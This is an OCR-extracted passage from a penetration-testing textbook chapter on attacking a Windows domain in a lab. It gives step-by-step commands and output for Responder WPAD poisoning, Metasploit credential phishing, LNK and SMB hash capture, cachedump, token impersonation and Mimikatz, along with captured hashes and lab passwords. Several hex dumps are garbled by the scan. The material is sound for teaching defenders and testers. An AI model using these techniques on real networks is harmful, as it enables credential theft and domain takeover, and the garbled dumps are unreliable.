will not fall back to LLMNR or NetBIOS name resolution if the DNS request fails.® Systems
without this patch are vulnerable to LLMNR and NBNS poisoning through the WPAD protocol.
Moreover, because this process also sets the proxy that is used by the system, it allows an attacker
to intercept web traffic to and from the victim.

Although Metasploit can be used to perform LLMNR and NBNS poisoning attacks against
WPAD, it is not the only tool. Another useful attacker tool is Responder. It is written by Laurent
Gaffie and is available in Kali. Not only is it able to perform traditional LLMNR and NBNS poisoning,
itis also able to set up a proxy server using WPAD and so proxy web traffic to/from the target.

To see how to run responder, it can be run with the flag -h

root@kali-2016-2-u:~# responder -h

NBT-NS, LLMNR & MDNS Responder 2.3.3.6

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C

Usage: python ./Responder.py -I etho -w -r -f
or:
python ./Responder.py -I etho -wrf

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I etho, Network interface to use, you can use 'ALL' as a

Shttps://support.microsoft.com/en-ie/help/3165191/ms16-077-security-update-for-
wpad-june-14,-2016
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--interface=etho wildcard for all interfaces

-i 10.0.0.21, Local IP to use (only for 0SX)

--ip=10.0.0.21

-e 10.0.0.22, Poison all requests with another IP address than

--externalip=10.0.0.22 Responder's one.

-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.

Answering to wredir will likely break stuff on the
network. Default: False

-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break
stuff on the network. Default: False

-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.

-w, --wpad Start the WPAD rogue proxy server. Default value is
False

-u UPSTREAM_PROXY, Upstream HTTP proxy used by the rogue WPAD Proxy

--upstream-proxy= For outgoing requests (format: host:port)

UPSTREAM_PROXY

-F, --ForceWpadAuth  Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False

-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to
be ON. This option is highly effective when
combined with -r. Default: False

--1m Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
-v, --verbose Increase verbosity.

As an example of its use, run Responder with the flags -v, -w, and -P, then start a Windows 8.1
system (without MS16-077) on the same network. Responder begins by describing its state, then
begins listening for packets.

root@kali-2016-2-u:~# responder -I etho -v -w -P
... Ouptut Deleted ...

[+] Generic Options:

Responder NIC [etho]
Responder IP [10.0.2.2]
Challenge set [random]
Don't Respond To Names [ "ISATAP']
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[+] Listening for events...

[*] [LLMNR] Poisoned answer sent to 10.0.15.207 for name giclas

[*] [NBT-NS] Poisoned answer sent to 10.0.15.207 for name WPAD (service:
Workstation/Redirector)

[LLMNR] Poisoned answer sent to 10.0.15.207 for name wpad

[LLMNR] Poisoned answer sent to 10.0.15.207 for name wpad

[LLMNR] Poisoned answer sent to 10.0.15.207 for name wpad

HTTP] User-Agent : WinHttp-Autoproxy-Service/5.1

[*]
[*]
[*]
[

Here it shows that responder has provided a poisoned answer for the location of the WPAD
server to the victim at 10.0.15.207. As the Windows target continues to boot, the attacker sees
notifications like the following.

[*] [LLMNR] Poisoned answer sent to 10.0.15.207 for name ProxySrv
[Proxy-Auth] Sending NTLM authentication request to 10.0.15.207

[Proxy-Auth] Sending NTLM authentication request to 10.0.15.207

[Proxy-Auth] NTLMv2 Client : 10.0.15.207

[Proxy-Auth] NTLMv2 Username : PLUTO\GICLAS$

[Proxy-Auth] NTLMv2 Hash ¢ GICLAS$::PLUT0:1988103926595187:99B9339C6E05EA3499C
EESAE9A6564DF :0101000000000000EF13D01677D6D201DBDOFCAFBB4DA74A00000000020006005300
4D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E
006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D00
62002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030
00000000000000000000000040000078261E410E81DADF10C66C655A1404E01C43049CAAE1D8D97C15
C6A5676768470A0010000000000000000000000000000000000009001A0048005400540050002F0070
0072006F00780079007300720076000000000000000000

The Windows target wants to use the WPAD server and has connected to the attacker’s
system; however, the attacker replied that access to this file requires authentication. The Windows
system then provided the NetNTLM hashes for the computer account to the attacker. (Here the
victim machine is named giclas and lives on the domain pluto.test).

When a user logs in to the Windows 8.1 system, it immediately starts using the proxy;
moreover, it provides the NetNTLM hashes for the logged-in user. This is also shown in responder.

*] [LLMNR] Poisoned answer sent to 10.0.15.207 for name ProxySrv
Proxy-Auth] Sending NTLM authentication request to 10.0.15.207

— /oo

Proxy-Auth] NTLMv2 Client : 10.0.15.207
Proxy-Auth] NTLMv2 Username : PLUTO\jhaydn
[Proxy-Auth] NTLMv2 Hash : jhaydn::PLUTO:3d67ee847515945d:7B9848546E4A6DC2AEFS

BFOO5BDCF5A1:010100000000000061EE332277D6D201BB0181EF6043F742000000000200060053004
D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E0
06C006F00630061006C€000300280073006500720076006500720032003000300033002E0073006D006
2002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C0008003000300
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0000000000000000000000020000078261E410E81DADF10C66C655A1404E01C43049CAAE1D8D97C15C

6A5676768470A0010000000000000000000000000000000000009001A0048005400540050002F00700

072006F00780079007300720076000000000000000000

[Proxy-Auth] User-Agent : Microsoft-WNS/6.3

[Proxy-Auth] Host : finance.services.appex.bing.com

[PROXY] Received connection from 10.0.15.207

[PROXY] Client : 10.0.15.207

[PROXY] Requested URL : http://finance.services.appex.bing.com/Market.svc/
AppTileV2?symbols=&contentType=-1&tileType=0&locale=en-US

[PROXY] Cookie

Responder has collected the hash for the domain user PLUTO\jhaydn. Subsequent use of
Internet Explorer results in Responder recording the web site visited and the NetNTLM hashes.
Responder results can appear sufficiently rapidly that the attacker cannot see the hashes as they
fly by the screen; however, responder also stores the results in its logs; by default, on a Kali system,
these are located in /usr/share/responders/logs.

root@kali-2016-2-u:~# ls /usxr/share/xrespondex/logs/

Analyzer-Session.log Poisoners-Session.log Responder-Session.log
Config-Responder.log Proxy-Auth-NTLMv2-10.0.15.207.txt

root@kali-2016-2-u:~# head -n1 /usr/share/responder/logs/Proxy-Auth-
NTLMv2-10.0.15.207.txt
GICLAS$::PLUT0:1988103926595187:99B9339C6E05EA3499CEEBAE9A6564DF :0101000000000000E
F13D01677D6D201DBDOFCAFBB4DA74A000000000200060053004D0042000100160053004D0042002D0
054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C00030028007
3006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C00050
0120073006D0062002E006C006F00630061006C0008003000300000000000000000000000004000007
8261E410E81DADF10C66C655A1404E01C43049CAAE1D8D97C15C6A5676768470A00100000000000000
00000000000000000000009001A0048005400540050002F00700072006F00780079007300720076000
000000000000000

Unprivileged Local Attacks

If the attacker has obtained a shell on a system in the domain, this may be leveraged to obtain
domain credentials.

Phishing for Credentials

Suppose that the attacker has successfully compromised a Windows target, but has not been
able to escalate privileges to SYSTEM and does not have domain credentials. One way to obtain
domain credentials is simply to ask the target. Nicely.
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To do so, the user can start the module post/windows/gather/phish_windows_credentials

msf exploit(handler) > use post/windows/gather/phish_windows_credentials
msf post(phish windows credentials) > info

... Output Deleted ...

Basic options:

Name Current Setting Required Description
DESCRIPTION {PROCESS NAME} needs your yes Message shown in the
permissions to start. Please loginprompt
enter user credentials
PROCESS no Prompt if a specific

process is started
by the target. (e.g.
calc.exe or specify
* for all processes)

SESSION yes The session to run
this module on.

Description:
This module is able to perform a phishing attack on the target by
popping up a loginprompt. When the user fills credentials in the
loginprompt, the credentials will be sent to the attacker. The
module is able to monitor for new processes and popup a loginprompt
when a specific process is starting. Tested on Windows 7.

One way to use this module is to use the wildcard for the process, then provide the session on
the target and run the module.

msf post(phish windows credentials) > set process *
process => *

msf post(phish windows credentials) > set session 1
session => 1

msf post(phish windows credentials) > exploit

[+] PowerShell is installed.

[*] Monitoring new processes.

[*] [System Process] is already running. Waiting on new instances to start
[*] System is already running. Waiting on new instances to start

[*] smss.exe is already running. Waiting on new instances to start

. Output Deleted ...

[*] wmpnetwk.exe is already running. Waiting on new instances to start
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The module then looks through the processes already running on the target. If a new process
is launched, the defender will be prompted to provide their credentials. For example, if the user
starts Firefox, they are presented with the dialog box in Figure 8-6.

firefox.exe needs your permissions to start. Please enter user
credentials

(R -

j— ]

Lo J[ cma |

Figure 8-6. The result of running post/windows/gather/phish_windows_credentials against a
Windows 8 target

When the user completes the dialog box, the attacker is presented with the credentials.

[*] New process detected: 2916 firefox.exe
[*] Killing the process and starting the popup script. Waiting on the user to fill
in his credentials...

[+]

[+] UserName Domain Password

jbrahms PLUTO passwordi!

Notice that the prompt provided to the user included the name of the application that was just
launched (firefox.exe) to make it more plausible that the prompt is legitimate. The text presented
in the dialog box can be further customized by the attacker.
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Dropping a Link

An attacker with an unprivileged session can also use the network hash capturing technique.
The attacker starts the module auxiliary/server/capture/smb. If that is listening (for example)
on 10.0.2.2, then the attacker can use the net use command to attempt to authenticate to a
(nonexistent) file share on that server to have the user’s NetNTLM hashes sent.

meterpreter > shell

Process 5480 created.

Channel 2 created.

Microsoft Windows [Version 10.0.10586]

(c) 2015 Microsoft Corporation. All rights reserved.
C:\Users\jhaydn>net use z: \\10.0.2.2\c$

[*] SMB Captured - 2017-05-26 21:43:38 -0400

NTLMv2 Response Captured from 10.0.15.202:50524 - 10.0.15.202
USER:jhaydn DOMAIN:PLUTO OS: LM:

LMHASH:Disabled

LM _CLIENT CHALLENGE:Disabled
NTHASH:af99264c6bca2f58fe09d64c430e0a82

NT_CLIENT CHALLENGE:0101000000000000c57aadaa8ad6d201718abab6b50577
6a00000000020000000000000000000000

net use z: \\10.0.2.2\c$

Enter the user name for '10.0.2.2': System error 1223 has occurred.

The operation was canceled by the user.

If the attacker has write access to a shared directory, a more interesting attack is possible.
The module post/windows/escalate/droplnk can be used to create a Windows link file that
references an icon that exists on a remote system.

msf exploit(web_delivery)> use post/windows/escalate/droplnk
msf post(droplnk) > info

... Output Deleted ...

Basic options:

Name Setting Required Description

ICONFILENAME icon.png yes File name on LHOST's share

LHOST yes Host listening for incoming SMB/WebDAV
traffic

LNKFILENAME ~ Words.lnk yes Shortcut's filename

SESSION yes The session to run this module on.

SHARENAME share1 yes Share name on LHOST
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Description:
This module drops a shortcut (LNK file) that has a ICON reference
existing on the specified remote host, causing SMB and WebDAV
connections to be initiated from any user that views the shortcut.

Any user that views this link in Windows Explorer will send their NetNTLM hashes to the
remote attacker. The defender does not need to open the link - simply viewing the directory in
Windows Explorer is sufficient for the hashes to be sent. If this file is located on a file share, then
any user on any system that views the shared directory containing the link in Windows Explorer
has their hashes sent to the attacker.

Privileged Local Attacks

If the attacker has obtained SYSTEM on a target, there are additional options that can be used to
obtain domain and other credentials.

Local Credential Gathering

One approach is to search for credentials that are stored locally on the system. This can be done
with the module post/windows/gather/credentials/credential collector. To useit, the
attacker provides a session with SYSTEM privileges.

msf > use post/windows/gather/credentials/credential_collector
msf post(credential collector) > info

... Output Deleted ...

Basic options:

Name Current Setting Required Description
SESSION yes The session to run this module on.
Description:

This module harvests credentials found on the host and stores them
in the database.

msf post(credential collector) > set session 2

session => 2

msf post(credential collector) > run

[*] Running module against GICLAS

[+] Collecting hashes...
Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cte0d16ae
931b73c59d7e0c089c0

395



CHAPTER 8  ATTACKING THE WINDOWS DOMAIN

Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c5
9d7e0c089c0
Extracted: HomeGroupUser$:aad3b435b51404eeaad3b4a35b51404ee:2f45f81008e
e0ac31dd289aa67c9747
Extracted: Stefan Banach:aad3b435b51404eeaad3b435b51404ee:5b4c6335673a7
5f13ed948e848100840
[+] Collecting tokens...
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
PLUTO\istravinsky
Window Manager\DWM-1
NT AUTHORITY\ANONYMOUS LOGON
[*] Post module execution completed

The module provides the password hashes for the local users of the system and stores them in
the Metasploit database. The hashes have the form <LM hash>:<NTLM Hash>. Because of the many
security flaws in the older LM hashing algorithm, properly configured modern systems disable
the use of LM hashes. This is observed here, as the LM hash aad3b435b51404eeaad3b435b51404ee
is the LM hash for a blank password.

To view the results, the creds command can be used to show the collected credentials. The
collected credentials can be exported to a file using db_export.

msf post(credential collector) > creds
Credentials

... Output Deleted ...

10.0.15.207 10.0.15.207 445/tcp (smb) Administrator aad3b435b51404eeaad3b435b

51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash
10.0.15.207 10.0.15.207 445/tcp (smb) Guest aad3b435b51404eeaad3b435b
51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash
10.0.15.207 10.0.15.207 445/tcp (smb) HomeGroupUser$ aad3b435b51404eeaad3bs3sb
51404ee:2f45f8100f8ee0ac31dd289aab7c9747 NTLM hash
10.0.15.207 10.0.15.207 445/tcp (smb) Stefan Banach  aad3b435b51404eeaad3b435b
51404ee:5b4c6335673a75113ed948e848100840 NTLM hash

msf post(credential collector) > db_export -f pwdump /root/Desktop/ntlm_hashes
[*] Starting export of workspace ch08 to /root/Desktop/ntlm hashes [ pwdump ]...
[*] Finished export of workspace ch08 to /root/Desktop/ntlm hashes [ pwdump ]...
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Cached Domain Credentials

To obtain domain credentials rather than local credentials, one approach the attacker can take
is to obtain the cached credentials on the system through the module post/windows/gather/
cachedump. When a domain user logs on to a domain member, the system caches the domain
credentials. This allows that user to authenticate to the system if the system is unconnected to the
domain; this is particularly useful for corporate laptops that are only occasionally connected to
the domain.

To illustrate its use, suppose that the attacker has a SYSTEM shell on a Windows 8 system.
Load the module, set the session, and run the exploit.

msf post(credential collector) > use post/windows/gathex/cachedump
msf post(cachedump) > info

... Output Deleted ...

Basic options:

Name Current Setting Required Description
SESSION yes The session to run this module on.
Description:

This module uses the registry to extract the stored domain hashes
that have been cached as a result of a GPO setting. The default
setting on Windows is to store the last ten successful logins.

... Output Deleted ...

msf post(cachedump) > set session 2
session => 2
msf post(cachedump) > exploit

] Executing module against HARRINGTON
] Cached Credentials Setting: 10 - (Max is 50 and 0 disables, and 10 is default)
] Obtaining boot key...
*] Obtaining Lsa key...
] Vista or above system
] Obtaining LK$KM...
] Dumping cached credentials...
] Hash are in MSCACHE_VISTA format. (mscash2)
*] MSCACHE v2 saved in: /root/.msf4/loot/20170527170949 default 10.0.15.208_
mscache2.creds_913347.txt
[*] John the Ripper format:
# mscash2
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fliszt:$DCC2$#fliszt#ase2074da930dcdeasbd3bdbods610df: :
jbach:$DCC2%$#jbach#d430719a10121e0cff08c72fac81ead3: :
hberlioz:$DCC2$#hberlioz#8b80496T4bide3c3c32ef587f71f1ce3::
wmozart: $DCC2$#wmozart#f3a06bbdfcadf6818bbc27a9006be96d: :

[*] Post module execution completed

The attacker now has the cached credentials for several users that have logged in to the
system recently. These hashes are not LM or NTLM hashes; these are in MSCash2 format, also
known as DCC2 - Domain Cached Credentials (version 2).

Token Impersonation and Incognito

Instead of looking for credentials, another approach is to use tokens already present on the
system. Windows uses tokens to describe the security attributes of processes running on the
system. If a domain user has an active token, then the token can be impersonated and used. To do
so, start with a SYSTEM-level shell on a domain member, say a Windows 10-1504 x86 system.

meterpreter > sysinfo

Computer : FARINELLA

0S : Windows 10 (Build 10240).
Architecture : x86

System Language : en_US

Domain : PLUTO

Logged On Users : 5

Meterpreter : x86/windows

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

The needed tools are contained in a Meterpreter extension called Incognito. The command
use incognito loads the extension, and the help command provides the list of (new) commands.

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > help incognito

Incognito Commands

Command Description

add_group_user Attempt to add a user to a global group with all tokens
add localgroup user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
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impersonate token Impersonate specified token
list tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes for every token

To see the list of all tokens currently present on the system, use list_tokens.
meterpreter > list_tokens -u

Delegation Tokens Available

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
PLUTO\jhaydn

Window Manager\DWM-1

Impersonation Tokens Available

NT AUTHORITY\ANONYMOUS LOGON

The impersonate_token command from the Incognito extension allows the attacker to
effectively become that user.

meterpreter > impersonate_token pluto\\jhaydn
[+] Delegation token available
[+] Successfully impersonated user PLUTO\jhaydn

When the attacker is finished using the token, they can run rev2self to return to the original
SYSTEM shell.

meterpreter > rewv2self
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

The collection of available tokens depends on the attacker’s position on the target. Migrating
between processes, for example, can reduce the collection of available tokens. The collection of
available tokens can also change as users log in and log out of the target system.

Mimikatz and Kiwi

Mimikatz is a stand-alone tool written by Benjamin Delpy that can extract passwords, password
hashes, and Kerberos tickets from memory. It has been ported to Metasploit as the extension
Kiwi.

Suppose an attacker has a SYSTEM shell; then they load the extension with the command use
kiwi.
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meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter > use kiwi

Loading extension kiwi...

JHHHE. mimikatz 2.1.1-20170409 (x86/windows)
JHE N ##. "A La Vie, A L'Amour"
# /N #t kKX
## \ / ## Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
"# v ##'  http://blog.gentilkiwi.com/mimikatz (oe.eo)
S Ported to Metasploit by 0J Reeves “TheColonial™ * * */

success.
meterpreter > help kiwi

Kiwi Commands

Command Description

creds_all Retrieve all credentials (parsed)

creds_kerberos Retrieve Kerberos creds (parsed)

creds_msv Retrieve LM/NTLM creds (parsed)

creds_ssp Retrieve SSP creds

creds_tspkg Retrieve TsPkg creds (parsed)

creds_wdigest Retrieve WDigest creds (parsed)

dcsync Retrieve user account information via DCSync
(unparsed)

dcsync_ntlm Retrieve user account NTLM hash, SID and RID via
DCSync

golden_ticket create Create a golden kerberos ticket
kerberos_ticket list List all kerberos tickets (unparsed)
kerberos ticket purge Purge any in-use kerberos tickets
kerberos ticket use Use a kerberos ticket

kiwi_cmd Execute an arbitary mimikatz command (unparsed)
1sa_dump sam Dump LSA SAM (unparsed)

1sa dump_secrets Dump LSA secrets (unparsed)

wifi list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)

When Mimikatz is run against a Windows 10-1504 system, it can extract the NTLM hashes for
the current user.
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meterpreter > creds_all

[+] Running as SYSTEM

[*] Retrieving all credentials
msv credentials

Username Domain NTLM SHA1

FARINELLA$ PLUTO  0260d074553db529015da96679b0c49b 3390e3e5a63775a6d8ff

7eff230a620e8587e9af
jhaydn PLUTO  5b4c6335673a75fT13ed948e848100840 55f905564ec6a921a3b

11a466aa7935952c08d89
user domain afd708448bce0e0f842b70f7cc137e46 T918636868c4fas0a9423

€4751cb1896¢759e207

wdigest credentials

Username Domain Password

(null) (null) (null)
FARINELLA$ PLUTO  (null)
jhaydn PLUTO  (null)
user domain (null)

kerberos credentials

(null) (null) (null)

FARINELLA$ pluto.test 51 90 f9 c4 d5 98 c4 a1l Oe 88 92 3d 7c 7f 88 60 76 2e 40
71 44 96 b1l e7 Ob de 65 99 dO0 d3 5e a9 71 19 dc 9a ed 24 b2 e3 ef af 9d d7 6d 63
3c 42 03 0a c7 6f cf 5b 84 3a 95 9b 2d 2f ba 52 b1 d8 b6 16 07 92 3e db d4 3a do
34 12 18 6¢ 8d €8 a5 16 bd af d9 55 €9 2d f7 cb cf cc de 8c b7 da 85 b5 32 23 55
24 59 36 cb 74 eb ac 6d 54 8b 68 41 0b db 0e 1a 90 39 2f 43 a3 e2 c7 3f 24 72 bd
el 59 0a 7b f6 d9 89 be 1d 95 25 70 ba 45 69 26 99 8a 02 7c 3d d8 c6 45 ee 2d 72
60 84 6Cc 5c 2e e3 e2 89 3d 47 6¢c cc fa 2b 97 6b 00 22 54 e3 5b 09 c1 17 cO 09 €9
3f 51 d6 23 15 a3 ab 8e d4 a9 f1 a6 bb 9f 0c b3 6¢ ad 29 46 6d 8 c9 3a 8d 85 28
c4 25 ee 4c dd ed 96 15 cc 6b 39 ff 50 4b 8e 85 03 a8 be 21 fa 75 2b 6b d3 20 4d
4f dd 22 22 3c

farinella$ PLUTO.TEST (null)

jhaydn PLUTO.TEST (null)

user domain d6 08 a0 e8 dc da do 51 d3 3e 08 74 64 87 c7 bc
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On the other hand, if Mimikatz is run against older (unpatched) machines, Mimikatz extracts

the passwords, rather than just the hashes. For example, on a Windows 8 system, Mimikatz finds

the plain text passwords from wdigest, tspkg, and from Kerberos.

meterpreter > sysinfo

Computer : HARRINGTON

0S : Windows 8 (Build 9200).
Architecture 1 x64

System Language : en_US

Domain : PLUTO

Logged On Users : 5
Meterpreter

meterpreter > creds_all
[+] Running as SYSTEM

[*] Retrieving all credentials

msv credentials

Username Domain

HARRINGTON$ PLUTO

user domain

wmozart PLUTO

wdigest credentials

Username Domain

(null) (null)
HARRINGTON$ PLUTO
25 e2 do fa 5f fc 98
al 92 Oe 96 b2 65 90
bc 59 bb ac 1d 9e 91
57 ce 3b a7 48 ff 20
ee e6 ec bg bf ad 2c
73 12 36 8b 07 20 fb
08 af 34 b7 25 58 53
9b 54 ed bd 37 e6 12
59 fe 24 c8
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LM

: X64/windows

a4b9obb6c8335a300aa8536a11845clcc

b267df22cb945e3eaad3b435b51404ee

e52cacb7419a9a22cel1712731527391f

Password

c5
35
eb
76
ad
of
71
5a
cc

ob
78
98
7f
2d
le
e8
c2
c1

ad
e7
63
ag
e3
92
d7
39
80

cf
b2
37
b1
34
8e
18
6b
1c

be
fd
72
34
da
55
63
7a
77

84
c3
8d
97
c9
25
ec
4c
1f

c3
6e
9e
aa
a8
6e
e4
a7
11

48
ab
fo
39
c5
a6
c3
63
20

NTLM
4c7513f02e0a5e33b67c
5263498bf3fd18fb9363
36aa83bdcab3c9fdaf
321ca42a31c3fc
5b4c6335673a75f13ed
948e84800840

f5 ac a8 ef 4c 68 bo di1 2e

21 c2 13 b6 b7 d2 88 6a 1c
ee fd ¢9 60 ef 19 f2 72 2b
a5 be d3 93 dd 74 5b 19 99
18 70 f5 a6 ab ff db 14 fc
67 b2 56 df 3b 86 d3 56 5b
e9 c6 53 4e 32 28 07 42 03
96 b9 39 c4 a5 0c d9 32 cb



user
wmozart

domain

PLUTO

tspkg credentials

Username

HARRINGTON$ PLUTO

25 e2 do
al 92 Oe
bc 59 bb
57 ce 3b
ee eb ec
73 12 36
08 af 34
9b 54 ed
59 fe 24
user
wmozart

kerberos

fa
96
ac
a7
b4
8b
b7
bd
c8

Domain

5f fc

b2
1d
48

65
9e
ff

bf ad

07
25
37

20
58
eb

98
90
91
20
2C
tb
53
12

domain

PLUTO

credentials

(null)

2e 25 e2
9e a1 92
1c bc 59
2b 57 ce
99 ee eb
fc 73 12
5b 08 af
03 9b 54
cb 59 fe

do
Oe
bb
3b
ec
36
34
ed
24

harrington$

2e 25 e2
9e a1 92
1c bc 59
2b 57 ce
99 ee eb

do
Oe
bb
3b
ec

Domain

(null)
HARRINGTON$ pluto.test e7 17 b5 c5

fa
96
ac
a7
b4
8b
b7
bd
c8

5f
b2
1d
48
bf
07
25
37

fc
65
9e
=
ad
20
58
eb

pass
passwordi!

Password

e7 17 b5 ¢5 0b
7 94 fd 35 78
9 dd 5e eb 98
96 ab 11 76 7f
ce do ob ad 2d
06 4b 9d 9f 1e
af fd 5e 71 e8
1f 58 3b 5a c2
e0 90 f4 cc c1

pass
passwordi!

Password

(null)

98 7 94 fd 35
90 f9 dd 5e eb
91 96 ab 11 76
20 ce do ob ad
2c 06 4b 9d 9f
fb af fd 5e 71
53 1f 58 3b 5a
12 e0 90 f4 cc

PLUTO.TEST e7 17 b5 c¢5
fa 5f fc 98 7 94 fd 35
96 b2 65 90 f9 dd 5e eb
ac 1d 9e 91 96 ab 11 76
a7 48 ff 20 ce do ob ad
b4 bf ad 2c 06 4b 9d 9f

ad
e7
63
ag
e3
92
d7
39
80

0b
78
98
7f
2d
le
e8
c2
cl

0b
78
98
7t
2d
le

cf
b2
37
b1
34
8e
18
6b
1c

ad
e7
63
a9
e3
92
d7
39
80

ad
e7
63
a9
e3
92

be
fd
72
34
da
55
63
7a
77

cf
b2
37
b1
34
8e
18
6b
1c

cf
b2
37
b1
34
8e
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84
c3
8d
97
9
25
ec
4c
1f

be
fd
72
34
d4
55
63
7a
77

be
fd
72
34
d4
55

c3
6e
9e
aa
a8
6e
e4
a7
11

84
c3
8d
97
c9
25
ec
4c
1f

84
c3
&d
97
c9
25

48
a6
fo
39
c5
ab
c3
63
20

c3
6e
9e
aa
a8
6e
e4
a7
11

c3
6e
9e
aa
a8
6e

5
39
21
ee
a5
18
67
e9
96

48
a6
f0
39
c5
a6
c3
63
20

48
a6
f0
39
c5
a6

ac
ad
c2
fd
be
70
b2
c6
b9

f5
39
21
ee
a5
18
67
€9
96

5
39
21
ee
a5
18

a8
c8
13
c9
d3
f5
56
53
39

ac
8d
c2
fd
be
70
b2
c6
b9

ac
8d
c2
fd
be
70

ef
40
b6
60
93
ab
df
4e
c4

a8
c8
13
c9
d3
f5
56
53
39

a8
c8
13
c9
d3
f5

4c
a4
b7
ef
dd
ab
3b
32
a5

ef
40
b6
60
93
a6
df
4e
c4

ef
40
b6
60
93
a6

68
bb
d2
19
74
ff
86
28
0c

4c
a4
b7
ef
dd
ab
3b
32
a5

4c
a4
b7
ef
dd
ab

bo
34
88
f2
5b
db
d3
07
d9

68
bb
d2
19
74
£
86
28
0c

68
bb
d2
19
74
£

di
ds
6a
72
19
14
56
42
32

bo
34
88
f2
5b
db
d3
07
d9

bo
34
88
f2
5b

2e
9e
1c
2b
99
fc
5b
03
cb

di
ds
6a
72
19
14
56
42
32

di

ds

6a

72

19

14
403
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fc 73 12 36 8b 07 20 fb af fd 5e 71 e8 d7 18 63 ec e4 c3 67 b2 56 df 3b 86 d3 56
5b 08 af 34 b7 25 58 53 1f 58 3b 5a c2 39 6b 7a 4c a7 63 €9 cb 53 4e 32 28 07 42
03 9b 54 ed bd 37 e6 12 e0 90 4 cc c1 80 1c 77 1f 11 20 96 b9 39 c4 a5 Oc d9 32
cb 59 fe 24 c8

user domain pass

wmozart PLUTO.TEST passwordi!

Cracking Hashes with John the Ripper

Windows hashes can be found by an attacker in several different formats, including NTLM,
NetNTLM, and MSCash2/DCC2. An attacker in possession of hashes can use John the Ripper to
determine the password used to generate the hash.

John can be 